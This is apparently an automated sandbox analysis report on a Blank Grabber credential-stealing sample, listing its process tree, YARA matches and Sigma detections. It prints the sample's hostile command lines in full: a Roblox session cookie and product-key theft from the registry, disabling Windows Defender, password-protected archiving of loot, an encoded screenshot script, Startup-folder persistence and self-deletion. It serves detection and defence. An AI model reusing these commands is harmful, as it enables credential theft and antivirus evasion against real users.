cvtres.exe (PID: 7352 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED03.tmp" "c:\Users\user\AppData\Local\Temp\bifucm0t\CSCB2EB15F711B84CFFA3556DECAB136738.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

cmd.exe (PID: 2588 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 4268 cmdline: tree /A /F MD5: 7E896B29B309DE74A72DEC7D59715EFD)

cmd.exe (PID: 5132 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 8004 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 0E938DD280E83B1596EC6AA48729C2B0)

cmd.exe (PID: 5408 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 2916 cmdline: getmac MD5: 31874C37626D02373768F72A64E76214)

cmd.exe (PID: 7432 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 5868 cmdline: tree /A /F MD5: 7E896B29B309DE74A72DEC7D59715EFD)

cmd.exe (PID: 5312 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 6708 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 0E938DD280E83B1596EC6AA48729C2B0)

cmd.exe (PID: 8032 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8020 cmdline: tasklist /FO LIST MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 3624 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 5808 cmdline: tree /A /F MD5: 7E896B29B309DE74A72DEC7D59715EFD)

cmd.exe (PID: 7992 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7592 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7588 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 6120 cmdline: tree /A /F MD5: 7E896B29B309DE74A72DEC7D59715EFD)

cmd.exe (PID: 7676 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8156 cmdline: tree /A /F MD5: 7E896B29B309DE74A72DEC7D59715EFD)

cmd.exe (PID: 4948 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8144 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 6384 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 2792 cmdline: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 6476 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 2672 cmdline: wmic os get Caption MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 4464 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 2032 cmdline: wmic computersystem get totalphysicalmemory MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 2936 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4468 cmdline: wmic csproduct get uuid MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 1744 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7552 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2852 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6472 cmdline: wmic path win32_VideoController get name MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 2740 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7480 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2180 cmdline: C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 884 cmdline: ping localhost -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI73202\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.2878432052.000000000838F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000004.00000002.2886083384.0000000007480000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.2051169917.00000000050F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.2051169917.00000000050F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: KpHYfxnJs6.exe PID: 7320	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: KpHYfxnJs6.exe PID: 7732	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: KpHYfxnJs6.exe PID: 7732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: KpHYfxnJs6.exe PID: 7732	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KpHYfxnJs6.exe", ParentImage: C:\Users\user\Desktop\KpHYfxnJs6.exe, ParentProcessId: 7732, ParentProcessName: KpHYfxnJs6.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'", ProcessId: 7964, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KpHYfxnJs6.exe", ParentImage: C:\Users\user\Desktop\KpHYfxnJs6.exe, ParentProcessId: 7732, ParentProcessName: KpHYfxnJs6.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7972, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KpHYfxnJs6.exe", ParentImage: C:\Users\user\Desktop\KpHYfxnJs6.exe, ParentProcessId: 7732, ParentProcessName: KpHYfxnJs6.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *", ProcessId: 6384, ProcessName: cmd.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\SysWOW64\wbem\WMIC.exe, SourceProcessId: 6472, StartAddress: 7574D700, TargetImage: C:\Windows\SysWOW64\cmd.exe, TargetProcessId: 6472

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Ping/Del Command Combination

Source: Process started

Author: Ilya Krestinichev: Data: Command: C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe"", CommandLine: C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe"", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KpHYfxnJs6.exe", ParentImage: C:\Users\user\Desktop\KpHYfxnJs6.exe, ParentProcessId: 7732, ParentProcessName: KpHYfxnJs6.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe"", ProcessId: 2180, ProcessName: cmd.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\KpHYfxnJs6.exe, ProcessId: 7732, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

